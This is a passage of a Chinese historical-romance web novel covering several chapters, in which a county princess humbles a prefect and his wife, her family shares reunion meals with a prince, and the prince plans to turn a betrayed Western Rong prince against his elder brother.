邢天海夫妇在一旁的烈日下跪着,不敢有半分怨言。
县主没让他们走,他们哪里敢走。
双鲤以牙还牙,趁着翻找的功夫,借机把邢夫人那些私密的衣裳全翻出来扔到了地上。
哼。
让她们欺负她,现在县主来了,要他们好看!
邢夫人的大丫鬟瞧见这一幕,脸涨得通红,夫人的贴身小衣竟然被外人看了去。
还有外男。
夫人若是得知,岂不是要羞愤欲绝?
双鲤和九栀装模作样地找了一圈,回来了。
“启禀县主,奴婢无能,并未找到丢失的羊脂玉镯子和赤金头面。”
“怎么是你们无能呢,分明是恶人太过狡诈。这羊脂玉乃是皇后娘娘钦赐,如今在青州知府的后宅里丢了……”晏逐星没说完,只是瞥了一眼邢天海。
邢天海忙不迭地叫苦求饶:“县主,借下官一百个胆子,也不敢昧下那御赐之物啊。”
“但总归是你治家不严。”晏逐星慢条斯理地接话。
邢天海在心里直骂娘。
这个令嘉县主真不是个好惹的。
谁知道她到底有没有带那些御赐之物出行,她这摆明了就是要讹人。
可他还不能说不。
他只得咬牙切齿道:“县主说得对,是下官治家不严。下官这就让内子开她的私库。她那点嫁妆,但凡县主看得上的,尽数赔给县主!绝不敢让县主蒙受损失!另外……”
他咬了咬牙,心在滴血,哆嗦着开口:“下官再私人补上一千两白银给县主压惊!只求县主息怒!”
动她的嫁妆?
还要赔一千两?!
旁边跪着的邢夫人闻言,连背上的剧痛都忘了,难以置信地瞪大了眼:“夫君……”
她话没说完,就被邢天海给呵斥打断:“此事因你而起,你自然得给县主赔礼道歉。”
晏逐星似笑非笑地看着邢天海夫妇那副割肉般痛苦却又强装镇定的表情,慢悠悠地道:“哦?邢大人倒是爽快。可你觉得皇后娘娘御赐的镯子,只值一千两?”
第289章 君子远庖厨
邢天海没想到令嘉县主胃口竟然那么大。
一千两白银都填不满她的肚子。
他哭丧着脸道:“县主,下官一年的正经俸禄,算上禄米折银也不过百多两。下官等会儿还要去变卖祖上传下来的薄田,再找同僚东挪西借才能凑出来那一千两。下官实在是倾尽所有了,求县主体恤下官一片赤诚之心啊!”
他一边说,一边又重重磕下头去,额头一片青紫。
他在心里已经把自家婆娘骂了千百遍。
这败家的蠢妇,害得他要把棺材本都掏出来了。
“罢了。”晏逐星终于松口,“既然邢大人如此诚意,本县主也不是不讲理的人。双鲤,随邢夫人去清点一下,看看有什么合适的物件,能抵得上皇后娘娘赏赐的那份心意。”
“至于那一千两,邢大人两袖清风,本县主也不好让你倾家荡产。就按你说的办吧。”
“是,县主。”双鲤应声,看向被嬷嬷勉强扶起来的邢夫人,笑眯眯道,“邢夫人,请吧?”
邢夫人看着双鲤脸上那抹近乎挑衅的浅笑,只觉得一股邪火直冲天灵盖,恨不得立刻扑上去,用尽全身力气撕烂她的脸。
再转头瞥见自己那个平日里人模狗样的知府大人丈夫,此刻正跪在地上,脸色灰败,眼神空洞,一副被抽干了精气神的窝囊相。
邢夫人只觉得眼前阵阵发黑,天旋地转,胸口堵得几乎喘不上气,身子晃了晃,眼看就要一头栽倒。
装晕躲过去再说,这顿打挨了,这钱无论如何都不能赔了!
不曾想双鲤抢先一步伸手搀扶她,在她胳膊上的软肉狠狠掐了一下:“夫人,您莫不是想装晕,逃避责任?”
邢夫人:“……”
她要撕烂这小贱蹄子的嘴!
可是看着晏逐星那冰冷又带着警告的目光,她脑海里只剩下了“人在屋檐下,不得不低头”几个字。
连她丈夫,一府之尊,都已经像条狗一样趴在地上摇尾乞怜了。
她一个后宅妇人,还能翻出什么浪花?
再闹下去,恐怕就不止是赔钱那么简单了。
想到那剩下的二十藤条,邢夫人打了个寒颤,背上刚挨过打的地方火辣辣的疼起来,提醒着她刚才那撕心裂肺的滋味。
她现在真是悔啊!
悔得肠子都青了,恨不得抽自己几个大嘴巴子。
为什么要赌那一时之气?
为什么要招惹令嘉县主身边这两个看起来不起眼的小丫鬟?
她当时是猪油蒙了心吗?
怎么就忘了“打狗还要看主人”这句老话?
就为了逞那一时之快,为儿子报那点仇,就赔上了自己的知府夫人的威严,还赔上了积攒多年的私房嫁妆,甚至还可能赔上丈夫的官声前程。
这代价让她眼前发黑,让她恨不得时光倒流,狠狠抽醒那个不知天高地厚的自己。
她只觉得一股腥甜涌上喉头,眼前彻底一黑,这次是真的支撑不住,软软地瘫倒了下去。
双鲤扭头看向晏逐星:“县主,邢夫人真晕过去了。”
邢天海只觉得脸上火辣辣的。
今日遭遇的羞辱,是活了半辈子前所未有过的。
这一切,还都是他最亲近的人,他的儿子和夫人给他带来的。
邢天海死死咬着后槽牙,才没让自己也跟着晕过去。
“县主,下官先给夫人请大夫,至于她的私库,等会儿就让常嬷嬷去给您打开。”他毕恭毕敬地开口。
晏逐星点了点头,让双鲤和九栀跟着去挑了东西。
双鲤和九栀在京城里已经见过不少好东西了,因此轻而易举地就能分辨出邢夫人嫁妆里什么东西是真的值钱,什么只是看起来值钱。
见两人挑了好几样值钱的东西,常嬷嬷看着心疼得直抽抽。
不知道夫人醒了,会不会气得吐血。
两人满载而归,邢天海也凑齐了一千两银票交给了晏逐星。
“辛苦邢大人了。”
她语气平淡,仿佛只是随口一提:“那案子,三日后本县主再来。”
邢天海脸上的笑容瞬间僵住。
天塌了,短短三天时间,哪里够他查清楚。
他来不及去骂夫人愚蠢,只交代了管家一句不许夫人出院门,就又火急火燎地领着下属去查案了。
*
可怜巴巴在后门等着的季行舟,终于等到了晏逐星一行人。
他没有马,还得看着车,只能在这干等着了。
看到他们,他赶忙迎了上去,找双鲤打听发生了什么事。
听完双鲤所说,季行舟目瞪口呆。
他忍不住脱口而出:“这知府夫人莫不是颅内有疾?”
双鲤认可地点了点头:“多半是。”
九栀搭话:“也可能是失心疯。”
鸣珂跟着附和:“没疯干不出这种事。”
好端端的,他们本来就要走了,县主也答应放他们一马了,结果现在好了吧,赔了夫人又折兵。
一行人回到了秦朔给他们安排的宅子。
得知邢夫人被狠狠收拾,棠家人都直呼痛快。
棠云麒则是十分懊悔。
“婋婋,你应该带上我的。我抽人可比双鲤抽人疼多了。”
晏逐星看着他这模样,笑道:“好,那下回还有这种事,让大哥干。”
“好呀好呀。”棠云麒高高兴兴地答应了下来。
这是棠家人时隔多年后重新团聚吃的第一顿晚饭,因此棠家人决定做得丰盛一些。
打听完晏逐星如今的口味,棠风陵便亲自下厨做她喜欢的菜。
季行舟看到了十分惊讶,忍不住脱口而出:“不是说君子远庖厨么,怎么棠先生还亲自下厨?”
棠风陵微微一笑:“小季大夫,所谓‘君子远庖厨’,孟子本意,是君子怀仁,不忍闻其声、见其死,故远屠宰血腥之地。并非让人远离这灶台。”
他目光转向一旁的晏逐星,语气满是愧疚:“今日这顿饭,是婋婋回家后的第一顿饭。她在外多年,酸甜苦辣皆尝遍。唯独没有尝过我这个当爹的手艺,我只是想弥补她罢了。”
晏逐星听到这话,眼眶有些湿润。
季行舟有些羞愧地摸了摸鼻尖。
得,都怪他只读医书,旁的东西都是一知半解。
这下丢人了吧。
他拱拱手道:“晚辈受教了,多谢棠先生指教。”
“没什么指教不指教的,互相探讨嘛。”棠风陵笑了笑转身去了厨房。
棠云麒爽朗一笑:“小季大夫这你就不懂了吧,我们家是谁有空谁就做饭,不拘男女。我和二弟也常做饭。我阿娘说不会做饭的男人都是蠢蛋。光指望媳妇做饭,哪日若是娶不上媳妇,那不得活活把自己饿死。”
在场不会做饭的季行舟和鸣珂,齐刷刷感觉自己膝盖中了一箭:“……”
踏进门内的谢翊宁听到这话,下意识地皱起了眉头。
不会做饭的男人是蠢蛋?
那他……
但他转念一想,他和小恩人一块做过荷叶鸡,他会做饭。
他才不是蠢蛋。
第290章 听不懂暗示
“见过王爷。”
看见谢翊宁,众人急忙行礼。
“不必拘束,与往常一样就好。”谢翊宁摆了摆手。
“是。”
嘴上这么答应着,但每个人的言行举止都变得拘束了起来。
棠云麒没想到王爷来得那么快。
先前他在茶楼帮了他们许多,所以娘亲特意派人去请他过来一块用晚膳。
原以为他会等到快开饭了再来,现在来那么早,他们该说什么呀。
好在谢翊宁是一个不在乎别人怎么看他的人。
旁人觉得拘束尴尬,他倒是怡然自得,仿佛回家一般自在。
“邢天海怎么说?”谢翊宁看向了晏逐星。
晏逐星便将自己处理的经过说了一遍。
棠云麒拼命给妹妹使眼色,见她没反应还不停的咳嗽。
这孩子,怎么那么实诚呢,依照律令教训了邢夫人一事说了就行了。
怎么还把讹了知府大人一千两白银和知府夫人嫁妆的事情说出来了呢。
万一王爷误会了,多不好呀。
他咳了老半天,咳得季行舟都看向他:“棠大哥,你是不是哪里不舒服,我替你把把脉,给你抓点药?”
棠云麒:“……”
累了,全场没一个懂他的。
“不必了,我就是嗓子有点痒,现在好多了。”棠云麒生无可恋地回答。
反正妹妹都已经说完了,暗示再多也没用。
谢翊宁听完后,点了点头:“做得不错,就该让他们知道你这个县主不是好惹的,省得什么不长眼的都敢凑上来冒犯你。一千两白银,便宜他了。”
“先让他把当年的案件查清楚吧。等查清楚之后,再收拾他也不迟。”
棠云麒:“???”
这怎么和他想象的完全不一样呢。
王爷对婋婋的做法,竟然毫无疑义?
“嗯。”晏逐星也是这么打算的。
临清搏命窟的事情,邢天海这个知府不可能不知情。
什么东拼西凑才弄出来一千两,她可不信。
若不是还有用得着他的地方,她当场就把他和邢夫人一块收拾了。
扭头一看,见棠云麒呆呆地看着她和王爷。
她忽然想起了先前王爷给的选择,还没和大哥说呢。
她赶忙把这事说了出来。
“大哥,你是想当个逍遥富贵的官老爷,还是说去国子监上学?”
棠云麒毫不犹豫道:“我去国子监。”
阿娘都说了,让他明年考个武举人回来。
他要是选第一个,哪里对得起婋婋。
他要给妹妹撑腰,努力当大官!
谢翊宁对他这个回答还算满意。
棠家人越努力上进越好,他终究无法十二时辰都护在小恩人身侧。若棠家自身根基渐厚,旁人再想动歪心思,也得先掂量掂量那后果。
“好。”谢翊宁点了点头,“回京之后,本王即刻安排你入国子监。”
棠云麒心头的重石稍落,但想到伏在书案前的身影,一股勇气又涌了上来。
他深吸一口气,再次抱拳,声音带着几分豁出去的恳切:“王爷,草民斗胆,还能再求一个恩典么?”
“讲。”谢翊宁盯着他。
棠云麒挺直脊背,语速不自觉地加快了几分:“恳请王爷开恩,让我二弟也能同入国子监。他读书远胜于我,早已是秀才之身,只是苦于没有名师指点,也缺一个真正能施展才华、精进学问的去处……”
话音落下,他心里愈发忐忑。
王爷能破格推举他这个白身进国子监,已是天大的恩典。
可一想到自己去了那最高学府,二弟却只能困在爹爹身边闭门苦读,他心里就像堵了块石头,怎么都不舒服。
他还是大着胆子开口了。
反正依照他这些年在外走镖的经验来看,遇到事情,多问一问总没坏处。
若是被拒绝了,大不了就丢个脸。
但万一人家要是答应了,那不就是赚到了。
一旁的棠云麟听得心惊肉跳,赶忙道:“王爷息怒!王爷肯举荐大哥,已是草民全家几世修来的福分,怎敢再奢求其他?”
他扭头看向大哥,正色道:“大哥放心,我入京后自有安身求学之处。我相信,凭我的本事,即便不去国子监,也能考取功名。你莫要多说了!”
“可……”棠云麒还要说什么。
就看见谢翊宁随意地摆了摆手,语气充满了理所当然:“嘁,多大点事儿啊?”
“你们可是本王小恩人的亲兄长,都是自己人,区区两个国子监的名额罢了,又不是给不起。再说了……”
他目光在棠云麒和棠云麟身上溜了一圈,而后认可地点了点头:“你俩瞧着也挺机灵的,去了也不会给本王丢面子。去就去了呗。”
见棠云麟还要说什么,他直接一锤定音:“都去都去!啰嗦什么,就这么定了!”
“哦,对了。日后在本王面前,也不必一直草民草民的自谦,听着太见外了。”
棠云麒和棠云麟同时开口:
“是,多谢王爷恩典。”
“我们兄弟二人绝不给王爷丢脸!”
两人看向谢翊宁的目光,多了几分感激。
婋婋说得对,永安王真是天底下最好的人了。
棠风陵做好了晚膳,得知两个儿子都要进国子监,顿时露出了不可置信的笑容。
曾祖父的愿望想必很快就要实现了。
他们棠家真是祖坟冒青烟了,竟然有两个孩子都能进国子监。
进了国子监,那就是离中举做官只差临门一脚了。翰林学士当先生,考个举人还不是板上钉钉的事?
一顿饭吃得是宾主尽欢。
接下来的几日,谢翊宁一行人不急着回京,打算等邢天海把当年的真相查出来了再走。
三日后,还没等邢天海查清当年科举冒名顶替的案件,秦朔的人就将那西戎人救出来并且带到青州来了。
第291章 你在担心他
西戎人被带过来后,秦朔推了他一把,沉声道:“还不速速行礼?这是永安王殿下和令嘉县主。”
那个西戎人听到这话,身体明显一僵,脸上神色惊疑不定,但依旧没张开嘴巴,杵在原地一动不动,甚至目光开始有些闪躲。
谢翊宁手里的扇子有一下没一下地摇着,直勾勾地打量着眼前的人。
忽然,他“啪”的一声合上扇子,指向眼前的人:“萨尔司澜?是你吧?”
“你……你还认得我?”萨尔司澜猛地抬头,像是被雷劈了一般。声音又干又哑,带着浓重的西戎口音。
“七年前,太后六十大寿。你跟着你家那位大王子一块儿来的。当时我们在寿宴上见过。”谢翊宁提醒他。
萨尔司澜当然记得他。
这可是大虞帝后最疼爱的小儿子,到了大虞之后,大王兄反复提醒过他,得罪谁都不能得罪永安王。
他刚刚不想行礼,就是不想暴露自己的身份。
再见面时,他一个西戎小王子竟然沦落到这样狼狈的地步,太丢人了。
见萨尔司澜仍说话,谢翊宁抬起下巴,上下扫视他一圈,开口道:“啧,怎么几年不见,你混成这副德行了?不会是犯了什么事被赶出西戎了吧?”
“才没有!”萨尔司澜下意识地就反驳。
“那为什么?”
谢翊宁这话一下子捅破了萨尔司澜憋着的委屈,他攥紧了拳头,咬牙开口。
“我、我就是想出来看看,看看西戎外面的天。大王兄说萨迪克是他最信得过的心腹,能悄悄带我来大虞长长见识,玩够了就回去,神不知鬼不觉……”
“谁知道你们大虞这么危险!”说到这,他喉头哽咽了一下,语气又委屈又愤怒。
谢翊宁听到这,和晏逐星对视了一眼,随后默契地开口:“然后呢?”
“然后?”萨尔司澜的声音猛地拔高,“然后那个该遭雷劈的萨迪克,半路上趁我睡着……不,不是睡着,是他给我下药了!”
他捂着脑袋,痛苦地回忆着。
“等我醒过来。”他喘着粗气,大虞官话的词汇似乎不够用了。
他努力想描述那种绝望。
“睁开眼,就已经在那鬼地方了。”
“他们关我起来,像……像圈里的牛羊!”
他越说越激动,胸膛剧烈起伏起来,眼中满是愤怒和屈辱。
“后来,他们扔我到黑、臭、脏的笼子里,等着跟饿疯了的狼、虎拼命。”
他猛地扯开破烂的衣襟,露出胸前一道狰狞的爪痕。
“这就是我来大虞一趟的见识。该死的萨迪克,等我回了西戎,我要他好看。”
谢翊宁皱眉,当即伸出扇子遮住了晏逐星的眼睛。
这些西戎人,真是一点也不讲究,怎么能在姑娘家面前袒胸露乳。
他横了秦朔一眼,秦朔赶忙找了一件衣裳给萨尔司澜套上。
这下,谢翊宁才不情不愿地放下了扇子。
晏逐星懵懵的,都没反应过来发生了什么。
她抬头看向萨尔司澜:“你确定是萨迪克干的吗?”
“不然呢?”萨尔司澜瞪圆了眼睛看向晏逐星。
“你可是西戎小王子。萨迪克一个护卫,哪来的胆子敢把你一个活生生的王子卖给大虞地下的搏命窟?没有靠山撑腰,没有足够大的利益许诺,他敢吗?他图什么?”
晏逐星每问一句,萨尔司澜的脸色就变白一分。
“不,不可能……”他拼命摇头,否认脑海里浮出的那个猜测。
偏偏谢翊宁还在一旁帮腔:“你可是西戎王最宠爱的小儿子,偷偷摸摸离开王庭跑出来长见识。你王兄若是真的那么疼爱你,怎么可能就只派了一个心腹跟着你?这合理吗?”
萨尔司澜猛地一颤,像是被这话狠狠抽了一鞭子。
他摇头怒吼:“我不信!我不信是大王兄害我!肯定是萨迪克自己起了歹心!大王兄他……他一直对我都很好的……”
这话他说得自己都有点心虚,声音渐渐低了下去。
谢翊宁和晏逐星都没有再开口。
良久后,他抬起头,眼里是一片茫然,语气带着一种近乎孩童般的困惑和委屈:“为什么呢?他为什么要这样做呢?”
晏逐星看着他脸上未干的污迹和眼中那份纯粹的、被至亲背叛后无法消解的痛楚,心底不由得轻轻叹了口气。
还是太年轻了啊。
眼前这位小王子,显然是在西戎王的宠爱下长大的,压根不知道人性的丑陋与权势的诱惑有多致命。
“小王子,王座之前,从来就没有‘兄弟’二字,只有……挡路的石头。”晏逐星一字一句道。
“你是西戎王最宠爱的孩子,你活着,对他来说就是最大的碍眼。”
“你的存在,就是悬在他头顶的一把刀。他不需要你犯错,他只需要你消失。干干净净地消失在他看不见的地方,最好连尸骨都找不到。这样才最干净,也最省心。”
那日永安王跟她说过西戎小王子的事情时,她就记住了。
这位小王子萨尔司澜,和大王子萨尔乌恩并非一母同胞。
萨尔司澜的母亲是西戎王最宠爱的妃子,在他出生没多久就去世了,一直让西戎王念念不忘。
他把那份浓烈的爱全都倾注在了萨尔司澜的身上,因此萨尔司澜成了西戎王最宠爱的孩子。
“挡路的石头?悬在头顶的刀?”萨尔司澜喃喃地重复着这几个字,眼中的茫然渐渐被彻骨的寒意取代。
晏逐星的话像一把生锈的钝刀在他心上来回拉扯,将那些残存的对兄长的温情幻想彻底割碎。
所以在大王兄眼里,他从来不是什么亲人,而是一个必须清除的障碍物,一个需要被处理掉的麻烦?
他忽然想起了七年前来大虞时候遇刺的险事。
想必那个时候,大王兄就想要他的命了吧。
只是那会儿还有父王安排的随行护卫在,大王兄失败一次,就收手了。
所以这些年,大王兄一直在他耳边灌输着沙漠之外的大虞有多么富饶、多么有趣,让他蠢蠢欲动想要离开西戎,都是故意的吧……
一切都是为了好方便下手除掉他。
萨尔司澜绝望地闭上了眼睛。
他自小没了母亲,是在王后膝下长大的。
他一直把王后当成亲娘,把乌恩当做亲哥哥。如今看来,一切都是他自作多情了。
他没有再和谢翊宁两人多说什么,转身看向了秦朔。
“我饿了,要吃饭。脏,还要洗澡。”
秦朔看向谢翊宁,见谢翊宁点头,这才将他带了下去。
看着萨尔司澜离去的背影,晏逐星眉头锁得紧紧的。
谢翊宁看到她的表情,脱口而出:“你在想什么?你很担心他?”
“怎么会。”晏逐星摇了摇头。
她与西戎小王子初次见面,她担心他做什么。
只是她在想的事情……
不能让永安王知道。
第292章 有事瞒着他
西戎王子兄弟反目的事情,让她不由自主地想到了永安王和太子。
若太子知道永安王已经打破“活不过二十岁”的预言,他对永安王那份深厚的兄弟情谊,会不会改变?他会不会觉得帝后太过偏心?
这个念头一起,一股没来由的担忧浮上心头。
可转念一想,这些只是她毫无根据的瞎琢磨。
晏逐星又放下心来。
至少眼下,太子殿下待永安王那真是掏心掏肺的好,半点挑不出错来,好得让人无话可说。
“那你在想什么?”谢翊宁微微眯起眼,总觉得她刚才走神时藏着心事。
“我在想……”晏逐星定了定神,找了个稳妥合理的借口,“会不会是我们猜错了?万一不是西戎大王子下的手呢?”
“不管是不是,都要是。”谢翊宁的声音很平静,但那双漂亮的眼眸里,却骤然掠过一丝晏逐星从未见过的淡漠。
晏逐星心头猛地一跳。
这语气,这眼神,与她印象里笑容带着一丝少年人稚气的永安王判若两人。
“本王需要有人到西戎去。”谢翊宁语调清晰而冷静,“萨尔司澜,就是最好的人选。”
他看向晏逐星,眼里的那点淡漠退去,取而代之的是前所未有的认真:“让他回去。带着对大王子的刻骨仇恨回去。”
“王庭里,一个恨透了长兄又被老王宠爱的小儿子……这团火日后一旦烧起来,西戎内部将再无宁日。”
“他们自己斗得不可开交,自然也没闲工夫来帮衬北境骚扰我大虞的边境了。这笔买卖,很划算。”
晏逐星看着眼前这个侃侃而谈着布局的永安王,她终于清晰地意识到,被追杀后,在玉禅寺醒来那个夜里,谢翊宁就已经变了。
他的这个变化,让她心里某个角落变得闷闷的,甚至有些喘不过气。
她仿佛亲眼看着一朵本该在温室里安然绽放的花,被骤然抛入风雪,不得不迅速长出荆棘来保护自己。
一股酸涩悄然涌上喉咙。
这感觉来得突兀又陌生,让她有些无措。
她分不清这是对眼前这个陌生谢翊宁的担忧畏惧,还是对那个再也回不来的、不谙世事的少年感到惋惜?或者说……
是心疼?
这念头让她自己都惊了一下。
心疼?
她有什么资格心疼一个受尽万千宠爱的王爷?
他也不需要她的心疼。
可那感觉如此清晰,让她无法忽视。
她下意识地避开了谢翊宁此刻过于锐利的视线,垂下了眼眸。
向来唯我独尊,从不把旁人感受放在心上的谢翊宁,却敏锐地察觉到了她情绪上的变化。
他忍不住试探:“你是不是觉得本王这么做,太不择手段了些?”
“怎么会!”晏逐星脱口而出,语气里带着被误解的不满。
她抬起头,直直迎上他的目光。
“王爷是为了大虞的边境安宁,为了万千百姓着想。我怎么会觉得您不择手段?”
她当着他的面杀人时,他都没有说过她半句不择手段或者残忍,如今他为了家国筹谋,她又怎么可能会那样想他。
她抿紧了唇,胸口微微起伏,那股郁结之气堵在那里。
她再次低下头,声音低了下去,闷闷的,带着一种难以言说的情绪:“我只是有些难过。”
“难过?”谢翊宁的心猛地一沉,悬到了嗓子眼。
她难过什么?
难不成是替那个西戎小王子难过?
这个念头像根刺一样扎进他的脑子里,让他瞬间就烦躁起来。
不行,这绝对不行!
虽然京城里那些所谓的青年才俊他一个都瞧不上眼,但萨尔司澜也绝对不符合他给小恩人定的择婿标准。
那小子家世和皮相是勉强够格,可西戎王庭现在就是一团烂泥潭,他怎么能让她去蹚那种浑水?
就在他盘算着怎么掐灭这苗头时,晏逐星接下来的话却像一盆温水,瞬间浇熄了他心头的无名火,让他整个人都愣住了。
她依旧低着头,声音轻得几乎听不见,却带着无比清晰的、沉重的自责:“我难过的是如果我能更厉害些,能替王爷把这些脏事、累事都办好……”
她顿了顿,声音更低了,低得谢翊宁几乎要听不清。
“是不是您就不用亲自去算计这些了?就不会变成现在这样了。”
最后那句轻飘飘的话,却像重锤一样砸在谢翊宁心上。
原来她的难过不是为别人,是为他。
这个认知让谢翊宁心头像被不轻不重地撞了一下,涌起一股陌生的暖意,却又夹杂着一丝不知如何应对的无措。
他其实并不觉得自己如今的变化有什么不好。
父皇母后会老,太子哥哥肩上担着整个江山。
他难道能一直做个只知风月,不问世事的富贵闲人吗?
他长大了。
这份改变是必然的,也是他该担起的担子。
“傻姑娘。”谢翊宁心头那点无措被一种更柔软的情绪取代,他下意识地伸出手,像安抚一只受惊的小动物般,轻轻揉了揉晏逐星的发顶。
动作带着一种他自己都未曾察觉的亲昵和安抚意味。
忽然听到外边传来棠云麒的脚步声,他又迅速收回了手。
他的声音恢复了以往的模样:“本王变成如今这样,没什么不好。多筹谋一分,就能少死一些人。你无需担忧。”
他想起了那些在玉禅寺外为他挡刀、最终倒下的护卫。
他们的面孔还清晰地在眼前闪过,那份痛楚和愧疚,至今仍沉沉压在他的心底。
他身边的人死了,他会难过。
那在边境战场上,为了挡住北境铁蹄而倒下的将士呢?
他们的父母妻儿……
又该如何熬过一个个没有归人的长夜?
“婋婋,爹问你晚上想吃什么?”棠云麒欢快的声音打破了现场有些凝重的氛围。
他进来之后才看到了谢翊宁,吓了一跳。
他在心底忍不住嘀咕:永安王什么时候来的,他怎么不知道?
但他身体比脑子反应更快,赶忙行礼:“见过王爷。”
第293章 心悦她女儿
“不必多礼。”谢翊宁抬手示意他坐下。
晏逐星这才收敛了心里的低落,换上一副欢快的语气:“我想吃素浇冷淘、蒜泥拌茄、虾仁烩豆腐,再蒸个鱼吧!”
她一口气报了好几道菜名。
原本她不想让爹娘操心吃饭的事情,但阿娘说他们也就这些日子可以给她做饭了。
回了京城,爹爹和兄长们就要好好备考了,她也得跟着池嬷嬷学习宫里的那些规矩。
虽然她不喜欢和贵夫人们打交道,但如今女儿是县主之尊,难免会需要与外人交际,那些属于贵人们的规矩,她必须学会学好,绝不给女儿丢脸。
因而晏逐星也就顺着他们的意思了,这几日尽量多报些爱吃的菜,让他们亲手制作,以弥补多年未见的亏欠。
“好咧,我等会儿就和爹说。”棠云麒高兴地答应了下来。
婋婋点的素浇冷淘他也爱吃。
用面粉擀切成面条,煮熟后过井水,沥干,再拌以焯水的苋菜、黄瓜丝、焯豆角丁、芝麻酱、蒜泥、醋,那叫一个清爽。
炎炎夏日,来上一碗,别提有多美了。
只是爹从前总说做面条太复杂,不愿意给他们做。
如今跟着婋婋,总算吃上爹做的面条了。
他扭头看向谢翊宁,客气地例行询问一下:“王爷可要一同用膳?”
“好呀。”谢翊宁毫不客气地答应了下来。
“要是不……”
棠云麒话说到一半,才意识到谢翊宁答应了。
他顿时把“不方便”几个字咽了回去,改口道:“不嫌弃我们的粗茶淡饭,随时恭候您的光临。”
自那日第一顿家里的团圆饭后,永安王就没来过他们这小宅子里了。
他还以为永安王不会再来和他们一块吃饭了呢。
毕竟按照他的想象,永安王这样千娇万宠长大的尊贵人士,怎么可能跟他们一样吃这些简单的饭菜呢。
万万没想到,永安王竟然答应了?!
“今夜本王就叨扰了。”谢翊宁客客气气地开口。
“不打扰不打扰,您来我爹娘还不知道得有多高兴呢,尤其是我娘……”棠云麒说到一半,觉得后边的话说出来不合适,又咽了回去。
阿娘曾说看着永安王这张脸,她能多吃两碗饭。
“夫人怎么了?”谢翊宁有些好奇。
“我娘说王爷是有福之人,多和您亲近,让我们也沾点福气。”棠云麒赶忙转移话题,随后脚底抹油,溜之大吉。
“我先回去帮爹准备食材了。”
*
没过多久,晚饭就做好了。
谢翊宁准时抵达。
按理来说,他应该挨着棠风陵这个一家之主坐,但谁让在场的人里,除了他的地位就是晏逐星的地位最高。
所以他便挨着晏逐星坐下了。
棠家没有那么多男女不同席,食不言寝不语的规矩,因此一大家子加上谢翊宁和季行舟,都坐在一块吃饭。
素浇冷淘端上来时,棠云麒有些好奇:“王爷,小季大夫,你们在京城,也吃冷淘么?”
季行舟点了点头:“吃呀,怎么不吃。”
“那有什么不一样的么?”棠云麒十分好奇。
“应该差不多吧,不是素的就是荤的。”季行舟大口大口地吃着,没空抬头看他。
呜呜呜,棠先生的手艺可真好。
即便不当教书先生,日后开个小饭馆,保管也高朋满座,日进斗金。
不过他想想得了。
谁家好人会放着功名不考去从商,那不是脑子被驴踢了么。
他还是别想了。
趁着有机会尝尝棠先生手艺的时候就多吃些吧。
吃一顿,少一顿。
过两日回京,可就吃不上咯。
“宫里也有。”见棠云麒看着自己,谢翊宁慢悠悠地开口给他解惑。
“只是宫里吃的会稍微复杂一点,一般是银丝雪冷淘、荷香鳜鱼冷淘、还有八珍冷淘。”
听到他这么说,在场的人都被勾起了好奇心。
这些菜名,一听就很好吃。
谢翊宁倒也没有卖关子,直接说了出来。
“银丝雪冷淘用的是很细的面条,冰镇后盛于青玉碗中,配鸡丝、火腿丝、焯熟绿豆芽、黄瓜细丝,淋上酱汁即可。”
“荷香鳜鱼冷淘呢,是用荷叶汁染绿的细面,铺上薄如蝉翼的清蒸鳜鱼拆肉,佐以姜醋汁,碗底垫新鲜荷叶,以冰镇之。”
“八珍冷淘其实和你们现在吃的差不多,只是配的拌菜不同。用的是煨制的鲍鱼丁、海参丁、虾仁、鹿筋丝、冬笋尖、香菇、豌豆、嫩姜芽,然后配以特调海鲜酱汁拌之,盛于冰鉴中。”
关于吃的,他说三天三夜也说不完。
“不过吃多了也就那样吧,不如今夜棠先生做的好吃。”
一句话,直接让棠风陵的嘴角止不住的上扬。
嘿,他做的饭菜被永安王认可了。
随后又有点忧伤。
什么时候,他的文章也能得到这样的称赞就好了。
“婋婋,你吃过了么?”棠云麒压低声音询问晏逐星。
晏逐星还没回答,谢翊宁就开口了:“你们若是好奇那是什么滋味,等回到了京城,本王让御膳房的人到摘星山庄给你们做就是了。”
“真的吗?”棠云麒眼睛瞬间就亮了起来。
“小事一桩,自然是真的。”谢翊宁点了点头。
棠云麒默默又在心底给谢翊宁发了一张好人牌。
永安王怎么就那么好呢!
原本还对京城之行有些紧张和担忧的他,一瞬间开始期待进京了。
永安王不摆架子,棠家人也越来越放松了。
一顿饭吃得是宾主尽欢。
送走谢翊宁后,方青鸾悄悄拉着夫君说悄悄话。
“你说,永安王是不是心悦咱们婋婋?”
“不可能吧……”棠风陵有些迟疑。
永安王对婋婋是很好,但他感觉好像他对所有人都挺好的呀。
瞧瞧王爷多大方呀,本来只用赏长子功劳,让他进国子监。
但长子一开口,王爷就答应让次子进国子监了。
多么惜才,多么善良的人啊。
“要不然,他怎么又跑来跟咱们一块用饭?回京后还要让御厨特意到婋婋的庄子里给咱们做冷淘吃。”方青鸾振振有词。
虽然永安王什么也没说,但直觉告诉她,永安王对婋婋肯定是不一样的。
棠风陵弱弱道:“就不能是我做的饭菜太好吃了么……”
王爷今日还很平易近人地称赞了他做的饭比御膳房的大厨还好呢!
方青鸾没好气地瞪了他一眼,将他甩在了身后,直接把门给关上。
“算了,当初我也是媚眼抛给瞎子看。我若不主动上门,你怕是一万年都不明白我也心悦你,更不会来提亲。跟你说也是白说,你能懂什么。”
棠风陵:“……”
不是,怎么就变成他挨骂了呢?
他们不是在说永安王和婋婋的事情么?
第294章 王爷都知道
邢天海赶在永安王给的截止日期最后一刻,终于将当年棠风陵录科考的事情彻底查清楚了,他火急火燎地就要出门求见谢翊宁和晏逐星。
但刚出门,就被临清知州派来的心腹倪旭给拦住了。
“大人,我家大人写了密信,与您有要事相商。”他将手中的信递了出来。
“一切事宜,等本大人回来再说。”邢天海摆了摆手。
现在没有事情比跟永安王和令嘉县主汇报真相更重要。
“大人,那西戎人不见了。”倪旭急得不行,顾不得隐瞒赶忙道,“武康伯的两个儿子,至今没找到。”
“你说什么?”邢天海顿住了脚步。
这可真是一波未平一波又起,那个西戎人上回可是给他们挣了不少银子,怎么能丢了呢。
老师好不容易才让他来了青州当知府,为的就是保守这个秘密,守住这座金山。
可如今才多久,竟然闹出了这么大的事情。
武康伯那两个儿子,到底去了哪里?
若让他们回京,将血金笼的事情捅出去,麻烦可就大了。
邢天海一时间进退两难。
“罗康真是个废物,这点小事都办不好。”他忍不住破口大骂。
倪旭听到他骂自家大人,也不敢还口。
邢天海一咬牙,开口道:“行了,我会派人继续盯着的,若武康伯的两个儿子出现,我会马上派人把他们抓起来的。”
